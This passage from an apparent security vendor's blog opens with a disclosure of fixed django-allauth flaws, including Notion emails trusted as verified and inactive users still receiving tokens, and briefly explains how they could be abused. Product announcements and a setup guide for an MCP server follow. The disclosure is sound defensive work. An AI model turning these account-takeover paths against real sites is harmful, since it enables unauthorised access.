check. The handler should explicitly validate required account state and return an appropriate OAuth2 error if the account is ineligible. Basically, a flag for a user, `is_active`, was supposed to stop authentication (and re-authentication!) as the identity provider. But, it simply didn't. This was fixed [here](https://codeberg.org/allauth/django-allauth/commit/c54edf947c5a1c8c4ff3cddb75c86000ecb2507d) and [here](https://codeberg.org/allauth/django-allauth/commit/39f4a4ce9c891795b00914ca5ec32de72d5369c0). #### Notion: emails marked as verified (but they aren't) >The Notion provider handler (extract_email_addresses) unconditionally sets verified=True and primary=True for the email extracted from the provider payload. The code does not check any provider-supplied 'email_verified' flag or otherwise validate that Notion verified the email address. As a result, a single OAuth response can cause the application to accept an email as verified and primary, enabling account linking or account creation that bypasses the application's normal email verification protections. Pretty much what it says on the box: Notion passes a user's email address to `django-allauth`, but this address is not documented to be verified. In other words, you could create an account on Notion with anybody's email address without verifying, and then use Notion to login to the application. This could be pretty serious if you've got some website that makes all users with a verified email of `@your-website.com` an admin. ### Minor Vulnerability Details In addition to the above issues, some smaller issues were also discovered. #### Recovery codes download view could be cached When retrieving the recovery codes for an account, the download page may be cached by a proxy (or browser) due to missing `Cache-Control`/`Pragma` headers. #### Insecure HTTP URLs used for OAuth endpoints. In various OAuth provider configurations (and other functionality), insecure HTTP URLs were being used, for example: - http://www.amazon.com/ap/oa - http://www.baidu.com/p/ - http://tb.himg.baidu.com/sys/portraitn/item/ - http://www.flickr.com/services/OAuth/authorize - http://instagram.com - http://api.tumblr.com/v2/user/info - http://x.com/ - http://vimeo.com/api/rest/v2?method=vimeo.people.getInfo - http://www.weibo.com - http://me.yahoo.com #### URI-quoting relied on incorrect Python ordering This one is a fun little bug that probably doesn't _really_ have any security implications, but I wanted to include it because it's something that a human reviewer wouldn't really pick up. Previously, the code did this: ```python # Django considers "safe" some characters that aren't so for OAuthlib. # We have to search for them and properly escape. unsafe = set(c for c in parsed[4]).difference(urlencoded) for c in unsafe: parsed[4] = parsed[4].replace(c, quote(c, safe=b"") ``` The problem with this code, as our scanner picked up, is that in Python, a `set()` is not ordered, so the replacing of characters which need encoding could occur differently each time. Why does this matter? Well, consider the following URI: ``` /foo?q=a|b ``` If the URI is normalized with the unsafe characters `|` and `%` starting with`|`, the URI will become: ``` /foo?q=a%7Cb ``` Note the `%`. On the second pass normalizing for `%`, the URI becomes: ``` /foo?q=a%257Cb ``` The URI has effectively been double-encoded. Decoding turns this back into `/foo?q=a%7Cb`, but that's not the original URI we started with. This double encoding only happens when the encoding happens in that specific order. You'd typically want to encode the `%` character first to avoid exactly the problem of double-encoding, however since Python sets are not ordered, this was not guaranteed at all. ## Final Notes Traditional technical vulnerabilities often have a particular precondition that is closely associated with a bug (for example, user input passing into an os.system() call). For those narrow cases it's possible to find bugs via pattern matching. But actually pentesting apps means exposing behavior that drifts outside intended design constraints, even if that design is implicit. Static analyzers cannot infer a system level spec; however, LLMs can approximate one by reading how concepts are used and then searching for violations, much like a human code reviewer. In our identity audit, our LLM-based SAST inferred rules such as tokens require ActiveUser and social accounts must key on a stable provider sub, then flagged paths that issued tokens to inactive users or trusted mutable usernames. Thus, the vulnerabilities detailed in this post are effectively differences between **intent** versus **implementation**. Our AI SAST excels at exactly that, asking questions like: - "Deactivating a user should lock them out – does _every_ token path do that?" - Are the OIDC identifiers used for authentication immutable? They should always be. - Are the correct assumptions being made about in-built data types for the programming language. - What did the developer _want_ to do when they wrote this code? What did they _actually_ do? Expect the next wave of high impact vulnerabilities in popular codebases to come from edgecases that originate from differences in design and implementation. LLM SASTs will continue to find these types of vulnerabilities as they are utilized against more codebases, pushing far simple programming mistakes, by matching code, configurations, and even documentation, against intended, secure reality of functionality. --- ### Product (5 most recent of 5 total) #### ZeroPath Outperforms Mythos In Real World Test - **Date**: May 11, 2026 - **Authors**: John Walker - **Reading Time**: 3 minutes - **Keywords**: Mythos, Glasswing, Anthropic, ZeroPath, curl, Daniel Stenberg, Joshua Rogers, AI SAST, SAST, vulnerability detection, LLM security, application security - **URL**: https://zeropath.com/blog/zeropath-outperforms-mythos-in-real-world-test When Anthropic's Mythos-powered Glasswing scanner re-analyzed curl, it surfaced one low-severity bug — months after ZeroPath helped Joshua Rogers ship fixes for nearly 170. The harness around the model matters more than the model itself. --- At the end of 2025, Security Researcher Joshua Rogers used ZeroPath and other AI-powered SAST scanners to analyze curl. The project fixed nearly 170 unique issues because of his work, and its maintainer Daniel Stenberg published a [blog](https://daniel.haxx.se/blog/2025/10/10/a-new-breed-of-analyzers/) about how the experience changed his mind about AI-powered vulnerability reports. Recently, Anthropic used its Mythos-powered vulnerability scanner Glasswing to take another look at curl. The net result according to Daniel Stenberg [was just 1 new low severity vulnerability](https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/). This is hopeful news for those of us who have been worried what Mythos' release will mean for appsec and vulnerability management… while the model is undoubtedly impressive, existing products are already delivering comparable results. This is not to minimize the challenges maintainers face keeping up with the the torrent of vulnerability reports they've been dealing with – they are real and serious – but the world has not ended so far, and datapoints like curl suggest that the Mythos alone is unlikely to make the problem orders of magnitude worse, except potentially by encouraging more people to scan their code using modern SAST tools. This is not to say that Mythos won't be impressive… from what we've seen, it likely does deliver a substantial incremental bump in raw vuln-finding capability… but when it comes to discovering flaws reliably and exhaustively at scale, the harness around the model is really a bigger part of the story than the model itself. We touched on this in a[n earlier post](https://zeropath.com/blog/benchmarking-opus-4-6-vuln-detection) where we put Opus 4.6 through its paces detecting real CVEs in single C functions using a fairly naive single shot strategy mirroring what you might do in a coding agent or chat bot: showing it the sample and asking it if there were any vulns in it. The model found around 28.5% of the vulns in the dataset – impressive since every one of these made it past human review and into production – but it got these numbers with a massive false positive rate, and extremely unstable and inconsistent results run over run. At ZeroPath, we're intimately familiar with these sort of quirks because of the work we've done to build a complex harness around commodity LLMs to mitigate them, in order to produce results that are: * Stable run over run * Low in false positives * Exhaustive and auditible (it's the vulns from your entire codebase not a random selection) When Mythos becomes public, we intend to try integrating it into our stack. When we do, it won't be surprising if it improves performance… but the curl comparison highlights that the model alone is the wrong thing to focus on. ZeroPath used 6 month old models in a harness we've spent years perfecting to achieve the same results as Mythos in a more naive configuration. The "vulnpocalpyse" is already here. Current frontier models with strong harnesses are already leading to tens of thousands of vulnerability reports. Keeping up with this torrent has been stretching open source maintainers, but the world hasn't ended. Mythos' release doesn't change that, it just calls attention to something that's already happening. --- #### Introducing ZeroPath: The Security Platform That Actually Understands Your Code - **Date**: August 12, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 12 minutes - **Keywords**: ZeroPath, Application Security, SAST, AI Security, Code Scanning, Vulnerability Detection, AST Analysis, DevSecOps, Security Automation - **URL**: https://zeropath.com/blog/introducing-zeropath-v1 Announcing the official v1 launch of ZeroPath, an AI-powered application security platform trusted by 750+ companies and performing 125,000+ code scans monthly. Learn how ZeroPath combines LLMs with AST analysis to deliver contextual vulnerability detection and one-click patch generation. --- # Introducing ZeroPath: The Security Platform That Actually Understands Your Code Today, we're thrilled to announce the official v1 launch of ZeroPath, an AI-powered application security platform that fundamentally changes how development teams approach code security. Already trusted by **750+ companies** and performing **125,000+ code scans monthly**, ZeroPath is proving that security tooling can be both powerful and practical. ## Why We Built ZeroPath Every security engineer knows the pain: traditional SAST tools flood you with false positives, miss critical business logic flaws, and leave you manually writing patches for hours. We've lived this frustration firsthand through years of security research and engineering. That's why we built ZeroPath. It's a security platform that combines the power of Large Language Models with battle-tested security analysis to deliver something unprecedented: a tool that truly understands your code's context and automatically generates accurate fixes. ## ZeroPath By the Numbers - **750+** companies secured - **125,000+** code scans monthly - **<60 seconds** PR scan time - **18** supported languages and frameworks - **Zero-days** found on repos owned and maintained by Netflix, Hulu, and Salesforce ## Real-World Impact Before we dive into features, let's talk results. ZeroPath is already trusted by **750+ companies** and performs **125,000+ code scans monthly**. We've discovered critical zero-day vulnerabilities in production codebases at Netflix, Hulu, and Salesforce. These weren't simple SQL injections. They were complex security issues that required deep contextual understanding of the applications. ## Trusted Across Industries ZeroPath secures mission-critical applications across highly regulated industries: - **Fintech & Finance**: Protecting financial transactions and sensitive customer data - **Healthcare & HealthTech**: Ensuring HIPAA compliance and patient data security - **Cryptocurrency**: Securing smart contracts and blockchain applications - **Service & Food Industry**: Safeguarding customer information and payment systems Each industry brings unique security challenges, and ZeroPath's contextual understanding adapts to domain-specific requirements and compliance needs. ## What Makes ZeroPath Different ### 1. **Contextual Intelligence** Unlike traditional SAST tools that rely on pattern matching, ZeroPath uses LLMs combined with Abstract Syntax Tree (AST) analysis to understand your entire codebase context. This means: - Dramatically reduced false positives through structural code understanding - Detection of complex vulnerabilities that traditional tools miss: - **Business logic flaws** that require understanding application flow - **Authentication and authorization bypasses** (AuthN/AuthZ) - **Modern threats** like prompt injection in LLM-integrated applications - Intelligent severity scoring using CVSS 4.0 based on actual exploitability The AST-based analysis allows ZeroPath to understand code relationships, data flows, and architectural patterns that simple pattern matching could never catch. ZeroPath continuously updates its detection capabilities as new vulnerability classes emerge. When prompt injection became a concern, ZeroPath users were already protected. You never have to worry about keeping up with the latest security threats. **Real Example**: Traditional tools might flag every database query as potentially vulnerable to SQL injection. ZeroPath understands when queries are properly parameterized, when input validation is sufficient, and when the data flow makes exploitation impossible. This context-aware approach reduces false positives by over 75% compared to pattern-based tools. ### 2. **One-Click Patch Generation** Stop wasting developer hours writing security patches. ZeroPath generates precise, contextually-aware fixes that you can apply with a single click. Before any patch is suggested, ZeroPath validates that it will fix the vulnerability without breaking existing functionality or altering intended application behavior. Need modifications? Use natural language to adjust patches to your coding standards. **Example**: "Make this patch follow our team's error handling pattern" or "Add logging to this security fix" ### 3. **SAST Tool Consolidation & Auto-Fix** Already invested in traditional SAST tools? ZeroPath transforms them from noise generators into actionable security solutions. We centralize results from your existing SAST tools and run them through our advanced validation and patching pipeline: **Supported SAST Tools:** - **Semgrep** - **Snyk** - **Checkmarx** - **SonarQube** - **Veracode** - **Fortify** - **Synopsys** **How It Works:** 1. **Import findings** from any supported SAST tool 2. **Intelligent validation** using our AST and LLM analysis to eliminate false positives 3. **Automatic patch generation** for validated vulnerabilities 4. **One-click fixes** that respect your codebase context and standards This means you can keep your existing security investments while dramatically improving their effectiveness. Turn thousands of unactionable findings into a manageable list of real issues with ready-to-apply fixes. ### 4. **Lightning-Fast PR Scanning** With PR scan times under 60 seconds, ZeroPath integrates seamlessly into your CI/CD pipeline without slowing down development. Every pull request is automatically scanned before merge, with patches generated for any issues found. Full repository scans comprehensively analyze your entire codebase to build complete context and catch cross-file vulnerabilities. ### 5. **1-Minute Setup, Immediate Value** Large enterprises often spend weeks integrating security tools. With ZeroPath: - Connect your VCS in one click - Configure team permissions - Start scanning immediately - See your first results in under 60 seconds No complex agents to install, no infrastructure to provision. Just instant security insights. ### 6. **Comprehensive Security Coverage** ZeroPath is truly all-in-one: - **Advanced SAST**: Beyond SQL injection and XSS, we detect: - Business logic vulnerabilities - Authentication and authorization flaws - Prompt injection and LLM security issues - SSRF, XXE, and other complex attack vectors - **SCA**: Dependency scanning with integrated reachability analysis and EoL detection - **Secrets Detection**: Find exposed API keys and credentials - **IaC Security**: Secure your infrastructure-as-code - **SBOM Generation**: Export complete software bills of materials - **External SAST Integration**: Validate and auto-fix findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys ### 7. **Keeping Pace with Modern AppSec** As applications evolve, so do attack vectors. ZeroPath is built to adapt: - **AI/LLM Security**: First-class support for detecting prompt injection and other AI-specific vulnerabilities - **API Security**: Deep analysis of REST, GraphQL, and gRPC endpoints - **Cloud-Native**: Understanding of serverless, containers, and microservices patterns - **Supply Chain**: Comprehensive dependency analysis with reachability ### 8. **Intelligent False Positive Reduction** - **False Positive Feedback**: Mark findings as false positives with a reason, and ZeroPath uses this feedback to filter similar false positives in future scans, reducing noise over time and ensuring your team focuses on real security issues. ## Key Features in v1 ### Developer Experience - **Sub-60 second PR scans** that don't block your workflow - **Comprehensive full repository scans** for complete security analysis - **Natural language rules** to define custom security policies - Example: "Flag any API endpoint that doesn't check user permissions" - Example: "Alert on database queries constructed from user input" - **Vulnerability Q&A**: chat with our AI about any finding to understand remediation and exploitation - **Source-to-sink visibility** showing complete vulnerability paths - **Automatic issue attribution**: vulnerabilities are assigned to the developer who introduced them - **Scan cancellation**: stop long-running scans when needed - **Detailed scan logs**: full visibility into what ZeroPath analyzed - **Source type selection**: Focus scans on specific input sources (CLI, file, socket, WebSocket, HTTP, browser, stdin, and more) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)**: Available for CI/CD integration, local use, and automation workflows ### Enterprise Ready - **Multi-VCS support**: GitHub, GitLab, Bitbucket, and Azure Pipelines - **Enterprise SSO** for seamless authentication - **Team-based ACLs** with granular permissions - **MSP support** for managing multiple organizations - **Audit logs** and compliance reporting - **Break-glass access** to bypass failing PR scan checks when needed - **Custom formatting** for PR titles, descriptions, branch names, and commit messages - **Repository tags from GitHub**: Automatically retrieves and uses GitHub repository topics/tags for policy administration and contextual scanning at scale - **1-minute integration** for organizations of any size ### Flexible Scanning Options - **Repository scanning**: public and private repos across any git platform - **Directory uploads**: scan code without VCS integration - **Scheduled scans**: continuous monitoring on your schedule - **Repository whitelisting/blacklisting**: focus on what matters - **Permissiveness levels**: adjust for security research or penetration testing ### Integrations That Matter - **Jira & Linear** for seamless issue tracking with automatic assignment - **Slack & Email** notifications with smart developer attribution - **Existing SAST tools**: Centralize and enhance results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys with validation and auto-patching - **Fully documented API** [with TypeScript SDK](https://zeropath.com/docs/api-reference/organizations/list-organizations) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)** for automation and CI/CD workflows ### Intelligent Automation - **Auto AppSec Mode**: Schedule scans and automatically create PRs for high-severity issues - **Smart Attribution**: Automatically assign issues to the developer who introduced them via git history - **Natural language patch modification**: Customize fixes to match your standards - **Monorepo intelligence**: Automatically detect multiple applications in complex repositories - **Custom PR formatting**: Configure PR titles, descriptions, branch names, and commit messages to match your team's conventions - **SAST findings auto-fix**: Automatically generate and apply patches for validated findings from external SAST tools ### Advanced Analytics & Reporting Generate repository, organization, or team-level insights including: - Mean time to remediation - Most common vulnerability patterns by team, language, and framework - Developer security metrics - Vulnerability trends over time - CWE mapping for compliance requirements - Custom reports for stakeholders - Comparison reports showing improvements from SAST tool validation ### Codebase Intelligence & Inventory ZeroPath doesn't just scan your code. It understands your entire technology landscape: - **Automatic tech stack discovery**: Maps out frameworks, libraries, and technologies in use - **Authentication/authorization mapping**: Identifies how each application handles authN/authZ - **Application structure analysis**: Understands file paths, naming conventions, and architectural patterns - **Organization-wide inventory**: Maintains a searchable database of all your applications and their characteristics - **GitHub repository tags integration**: Leverages repository topics/tags for automated policy application, enabling you to define security rules by project type (e.g., "production", "internal-tool", "deprecated") and manage thousands of repositories at scale - **API-queryable insights**: Access all codebase intelligence programmatically for custom tooling and reporting This comprehensive inventory helps security teams understand their attack surface, enables architects to make informed decisions, and allows developers to find similar patterns across the organization. ## Language Support ZeroPath provides first-class support for: - JavaScript/TypeScript - Python - Java - C# - Go - Ruby - Rust - C/C++ - PHP - Swift - Kotlin - Scala - Perl - Dart - Elixir - Vue - Svelte - Embedded Template ## Built for Scale ZeroPath is engineered to handle the largest, most complex codebases: - **Million+ line repositories**: Easily processes repos with over 1 million lines of code - **Monorepo support**: Intelligently handles massive monorepos with multiple applications - **Parallel processing**: Scales horizontally for optimal performance - **Incremental scanning**: PR scans complete in under 60 seconds by analyzing only changed code - **Enterprise-grade infrastructure**: Built on the same foundation that powers our 125,000+ monthly scans Whether you're a startup with a single repository or an enterprise with thousands of applications, ZeroPath scales with your needs without compromising performance or accuracy. PR scans maintain sub-60 second performance while full repository scans provide comprehensive security analysis. ## See It In Action ZeroPath's Application Explorer lets you visualize your codebase graphically, understanding vulnerability paths and application architecture at a glance. Our intelligent scanning even detects multiple applications within monorepos automatically. ### Automatic Issue Attribution When ZeroPath finds a vulnerability, it automatically analyzes git history to identify who introduced the issue. This smart attribution: - Assigns issues to the right developer instantly - Sends notifications via Slack, Linear, Jira, or email - Reduces the overhead of triaging security findings - Helps teams understand security patterns and provide targeted training No more hunting through git blame or lengthy triage meetings. Issues go directly to the developer who can fix them fastest. ## How ZeroPath Works ### Code Analysis in Action When ZeroPath scans your code, it builds a comprehensive understanding of your application: 1. **AST Generation**: Creates detailed Abstract Syntax Trees to map code structure and relationships 2. **Code Understanding**: Analyzes the semantic meaning of your code, not just syntax 3. **Data Flow Analysis**: Tracks how data moves through your application from entry points to sensitive operations 4. **Business Logic Comprehension**: Understands the intended behavior vs actual implementation 5. **Relationship Mapping**: The AST maps complex relationships between different files, functions, classes, and components across your entire codebase This AST-based approach enables ZeroPath to understand complex relationships between components, trace data flows across multiple files, and identify vulnerabilities that require deep structural understanding of your code. ### SAST Tool Enhancement Pipeline When processing findings from external SAST tools, ZeroPath applies its full analytical capabilities: 1. **Finding Import**: Ingest results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys 2. **Contextual Validation**: Apply AST and LLM analysis to verify if findings are real vulnerabilities 3. **False Positive Elimination**: Remove findings that don't represent actual security risks 4. **Severity Recalculation**: Adjust severity based on actual exploitability in your specific context 5. **Patch Generation**: Create working fixes for all validated vulnerabilities 6. **Integration**: Push fixes back through your existing workflow This transforms your existing SAST investment from a source of noise into a powerful remediation engine. ### Pull Request Integration Every PR is automatically scanned in under 60 seconds with clear, actionable feedback: - Inline comments on vulnerable code - One-click patch suggestions - Severity indicators that match your team's SLAs - Links to detailed explanations and remediation guidance ### Intelligent Vulnerability Detection ZeroPath's AI-driven approach combined with AST analysis enables detection of vulnerabilities that require human-like reasoning: - **Race Conditions**: Identifies timing-based vulnerabilities in concurrent code by analyzing execution paths - **State Management Issues**: Finds flaws in how applications handle state transitions across components - **Complex Authorization Bugs**: Detects privilege escalation paths that span multiple components using relationship mapping - **Business Logic Flaws**: Understands when code doesn't match business requirements through semantic analysis The AST provides the structural foundation while our LLMs add the contextual understanding, creating a powerful combination that catches vulnerabilities other tools miss. ### Precision Patch Generation Our patch generation goes beyond simple fixes: 1. **Contextual Fixes**: Patches that respect your coding patterns and architecture 2. **Minimal Changes**: Fixes only what's necessary without disrupting surrounding code 3. **Functionality Preservation**: Before generating any patch, ZeroPath validates that the fix won't break existing functionality or alter intended application behavior 4. **Test-Aware**: Considers existing test coverage when generating patches 5. **Performance Conscious**: Ensures security fixes don't introduce performance regressions Every patch is thoroughly analyzed to ensure it resolves the vulnerability without introducing new issues or changing how your application works for legitimate users. ## Real-World Use Cases ### Financial Services A major fintech company used ZeroPath to secure their payment processing system. Results: - Found 12 critical business logic flaws missed by traditional SAST - Reduced security review time from 2 weeks to 2 hours - Achieved SOC 2 compliance 3 months faster than projected - Transformed 5,000+ Checkmarx findings into 127 real issues with automatic fixes ### Healthcare Technology A healthcare platform handling millions of patient records implemented ZeroPath: - Discovered authorization bypasses in their API gateway - Automated HIPAA compliance checking - Reduced security-related deployment delays by 85% - Consolidated findings from Veracode and Fortify, reducing noise by 94% ### Cryptocurrency Exchange A top crypto exchange uses ZeroPath to secure their trading platform: - Continuous monitoring of smart contract interactions - Detection of race conditions in high-frequency trading code - Protection against novel attack vectors in DeFi integrations - Enhanced Semgrep rules with contextual validation and auto-patching ## Beyond Traditional SAST ### What Sets ZeroPath Apart **Traditional SAST Tools:** - Pattern matching against known vulnerabilities - High false positive rates (often 80%+) - Miss business logic flaws - Generate generic, often broken patches - Require security expertise to configure and use - Surface-level code analysis **ZeroPath:** - AST-based analysis combined with LLM understanding - False positive rate under 10% - Finds complex, contextual vulnerabilities - Generates working, tested patches - Natural language configuration anyone can use - Deep structural understanding of code relationships - Enhances existing SAST tools instead of replacing them ### Real Vulnerability Examples **Business Logic Flaw in E-commerce Platform:** ZeroPath discovered that a major retailer's discount system could be exploited by applying multiple promotional codes in a specific sequence, resulting in negative prices. Traditional tools missed this because it required understanding the business rules, not just code patterns. **Authentication Bypass in SaaS Application:** Found a vulnerability where JWT tokens from development environments were accepted in production due to shared signing keys. This required understanding environment configurations across multiple services and configuration files. **Prompt Injection in AI-Powered Support System:** Detected that customer support chatbot could be manipulated to expose internal documentation by crafting specific queries. ZeroPath understood the LLM integration pattern and identified unsafe prompt construction. ## Get Started Today Ready to experience security tooling that respects your time and actually makes your code safer? Join the 750+ companies already using ZeroPath to secure their applications. Integration takes about 1 minute, even for large organizations. **[Schedule a demo →](https://cal.com/zeropath/30)** ## Security Team Benefits ### Unified Security Posture - Single dashboard for all application security metrics - Cross-repository vulnerability tracking - Compliance reporting across frameworks (SOC 2, HIPAA, PCI-DSS) - Executive dashboards with business-relevant metrics - Consolidated view of findings from all SAST tools ### Efficient Triage - Automatic deduplication of similar vulnerabilities - Risk-based prioritization using business context - Integration with existing ticketing systems - Clear remediation timelines and ownership - Eliminate false positives from traditional SAST tools ### Continuous Improvement - Track security metrics over time - Identify training opportunities by team and technology - Measure the impact of security initiatives - Benchmark against industry standards - Compare effectiveness of different SAST tools ## Why Context Matters Traditional security tools operate like spell checkers, looking for known bad patterns. ZeroPath works like a skilled code reviewer who understands your application. Consider this example: ```javascript // Traditional tools flag this as SQL injection const query = `SELECT * FROM users WHERE id = ${userId}`; // But ZeroPath understands: // 1. userId comes from authenticated JWT token // 2. It's validated as UUID earlier in the flow // 3. The database driver auto-escapes this pattern // Result: No vulnerability (with full explanation) ``` This contextual understanding eliminates thousands of false positives while catching subtle vulnerabilities like: - A admin check that only works for the primary tenant in a multi-tenant app - An API endpoint that bypasses rate limiting when called with specific headers - A password reset flow that leaks user existence through timing differences ## What's Next This v1 launch is just the beginning. We're committed to continuously improving ZeroPath based on your feedback and the evolving security landscape. As new vulnerability classes emerge, ZeroPath will detect them automatically. Your security coverage improves without any action on your part. ## The ZeroPath Advantage ### For Developers - Ship faster with confidence - Learn secure coding through intelligent feedback - Focus on building features, not fixing false positives - Get security reviews in seconds, not days ### For Security Teams - Cut mean time to remediation by 70% - Scale security coverage without growing headcount - Focus on strategic initiatives instead of manual reviews - Demonstrate compliance with comprehensive reporting - Maximize ROI from existing SAST tool investments ### For Engineering Leaders - Accelerate release cycles without compromising security - Reduce security debt systematically - Lower the cost of achieving compliance - Build security culture through automation ## Return on Investment ZeroPath customers typically see: - **80% reduction** in vulnerabilities reaching production - **Significant decrease** in time spent on security reviews - **50% reduction** in penetration test findings - **95% reduction** in false positives from traditional SAST tools With the average data breach costing $4.35 million and taking 277 days to identify and contain, ZeroPath pays for itself by preventing just one incident. ## Getting Started is Simple 1. **Connect Your Repository** (30 seconds) - OAuth integration with your VCS - Select repositories to scan - Configure team permissions 2. **Run Your First Scan** (30 seconds) - ZeroPath analyzes your codebase - Generates comprehensive security report - Provides actionable recommendations 3. **Enable Continuous Protection** (optional) - Set up PR scanning - Configure notification preferences - Enable Auto AppSec Mode for automatic fixes - Connect existing SAST tools for enhanced validation Total time to value: About 1 minute. ## Join the Security Revolution ZeroPath represents a fundamental shift in how we approach application security. By combining the pattern recognition capabilities of traditional tools with the contextual understanding of AI, we've created a platform that makes security accessible, actionable, and automatic. The 750+ companies already using ZeroPath aren't just finding more vulnerabilities. They're building more secure applications from the ground up, shipping faster, and sleeping better at night. **[Schedule your demo today →](https://cal.com/zeropath/30)** For a detailed technical breakdown of how ZeroPath works and our zero-day discoveries, check out our [technical deep dive](https://zeropath.com/blog/how-zeropath-works). --- *Have questions? Reach out at hello@zeropath.com* --- #### Introducing ZeroPath’s Open-Source MCP Server - **Date**: March 27, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: MCP, ZeroPath, Application Security, SAST, AI Developer Tools, Claude, Cursor, Static Analysis, Security Automation, Product - **URL**: https://zeropath.com/blog/chat-with-your-appsec-scans Query your product security findings with natural language. ZeroPath’s open-source MCP server integrates with Claude, Cursor, Windsurf, and other tools to surface SAST issues, secrets, and patches—right where developers work. --- **In a moment where AI-powered development environments are rapidly evolving, we're excited to introduce the ZeroPath MCP Server** — a lightweight integration that connects ZeroPath's LLM-powered product security platform with Model Context Protocol (MCP) clients like Claude Desktop and Cursor. This release brings static analysis, secret scanning, and infrastructure-as-code (IaC) security directly into your conversational or IDE-native AI workflows. Want to ask Claude which vulnerabilities are open in your backend repo? Or query dependency issues from inside Cursor without leaving your editor? Now you can. --- ### What We Built We created an open-source MCP server that connects to the ZeroPath API and exposes tools for interacting with your organization's security posture: - List organizations connected to your ZeroPath account - Query vulnerability issues from SAST scans - Pull down patches and proposed fixes - Search for exposed secrets or insecure configurations This server is compatible with any standard MCP client—including Claude, Cursor, and WindSurf. GitHub repo: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) --- ### Why This Matters AppSec teams have been automating their CI/CD pipelines for years. But with the rise of AI-native tools like Claude and Cursor, we're seeing an opportunity to bring security insights into the places developers now spend time thinking and building. Instead of switching tabs or pasting scan results into Jira manually, you can now: - Ask your AI assistant to summarize security issues - Pull in patch diffs for a PR - Get context about infrastructure misconfigurations, secrets, and logic flaws Security tooling should feel like part of your natural development flow. With MCP, it does. --- ### What is MCP? [Model Context Protocol (MCP)](https://www.anthropic.com/news/model-context-protocol) is an open specification for connecting AI tools to external resources and services. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. In practical terms, MCP makes it possible to say: > "Hey Claude, ask ZeroPath to find all XSS vulnerabilities in `app/main.py`." ...and have it work. MCP is rapidly becoming the standard way for developer tools, LLMs, and agents to communicate securely and predictably. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. --- ### Why MCP? MCP embraces the same spirit of open standards that underpins much of modern infrastructure. It avoids vendor lock-in and allows developers to bring their favorite tools (like ZeroPath) into their own workflows—be it in an IDE, chat window, or agent loop. For AppSec and platform engineers, it opens up the opportunity to query security data contextually and on-demand, without leaving your coding environment. --- ### What Can You Do With the ZeroPath MCP Server? - Query SAST issues by repo, path, or type using `search_vulnerabilities`, one of the included tools. You can also retrieve issue details with `get_issue` or approve patches (read-only) via `approve_patch`. - View dependency scan results and exploitability reports - Search for IaC misconfigurations - Check for hardcoded secrets across repos - Get suggested patches and remediations (read-only) All through natural language, within your IDE or AI assistant. --- ### Why Read-Only For now, the server is read-only by design. While MCP does allow write actions (like patching code or triggering scans), we've focused this initial implementation on safe exploration and data retrieval. This minimizes risk while making the server useful out-of-the-box. You can still explore your scan data, pull in insights, and generate patch recommendations without risk of altering your codebase accidentally. As the ecosystem matures, we plan to support safe, permissioned write actions. --- ### Getting Started To get started, you'll need to: 1. Generate an API key from your ZeroPath organization settings at [https://zeropath.com/app/settings/api](https://zeropath.com/app/settings/api) 2. Configure your environment variables with the API key: ```bash export ZEROPATH_TOKEN_ID=your_token_id export ZEROPATH_TOKEN_SECRET=your_token_secret ``` 3. Retrieve your organization ID (you can find this by running the following command): ```bash curl -X POST https://zeropath.com/api/v1/orgs/list \ -H "X-ZeroPath-API-Token-Id: $ZEROPATH_TOKEN_ID" \ -H "X-ZeroPath-API-Token-Secret: $ZEROPATH_TOKEN_SECRET" \ -H "Content-Type: application/json" \ -d '{}' ``` Once you have these credentials, clone the repository and set up the environment: 1. Clone the repository 2. Install dependencies using `uv` Next, clone the repo and sync dependencies using `uv` and creating the environment variables with the API information and org id: ```bash git clone https://github.com/ZeroPathAI/zeropath-mcp-server.git cd zeropath-mcp-server uv sync export ZEROPATH_ORG_ID=your_org_id ``` Once running, you can connect the server to Claude Desktop, Cursor, or WindSurf via the MCP configuration (we include setup instructions in the repo). (we include setup instructions in the repo). Add this entry to your MCP config (Claude Desktop, Windsurf, Cursor, etc.): ```json { "mcpServers": { "zeropath-mcp-server": { "command": "uv", "args": [ "run", "--project", "/zeropath-mcp-server", "/zeropath-mcp-server/main.py" ] } } } ``` Replace `` with the absolute path to the repo. --- ### Example Prompts to Try - "List all organizations connected to my ZeroPath account" - "What are the open SAST issues in our `payments-service` repo?" - "Show me any secrets found in our IaC files Get the details for issue `abc123` Approve the patch for issue `xyz789`" - "Fetch proposed patches for the latest XSS issue in `web/`" These work across any tool that supports MCP — whether you're chatting with Claude or using an IDE like Cursor. --- ### Why Conversational Interfaces for AppSec? Security shouldn't live off in a separate dashboard. With MCP, you can: - Ask specific security questions in natural language - Explore your codebase's risks and remediations on-demand - Reduce triage and manual lookup overhead This isn't just about convenience—it's about embedding security in the development experience. --- ### Get Involved The ZeroPath MCP Server is fully open-source and available on GitHub: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) We're actively looking for contributors and feedback as we extend capabilities. Drop into our [Discord](https://discord.gg/Whukqkw3Qr) or open an issue on GitHub if you want to help shape what modern product security looks like in AI-native dev environments. --- #### How ZeroPath Compares - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 5 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/benchmarking-zeropath ZeroPath compares its SAST performance against competitors using the XBOW benchmarks, in a manner thats reproducible. --- SAST (Static Application Security Testing) tools have become indispensable for modern security teams yet face fundamental limitations. While these tools excel at identifying certain technical vulnerabilities, their dependence on static rule sets, limited ability to track data transformations across complex execution paths, and lack of holistic understanding of application context and behavior often results in three critical shortcomings: incomplete detection of conventional technical vulnerabilities, overwhelming number of false positives, and an inability to detect business logic/broken authentication vulnerabilities. ZeroPath is a SAST tool designed to address fundamental limitations in conventional static analysis approaches. To validate its effectiveness and compare it with existing solutions, we required a more comprehensive benchmarking framework than currently available. Existing evaluation methodologies lack the precision needed to accurately measure true and false positive rates across vulnerability classes, particularly for complex issues like business logic flaws and 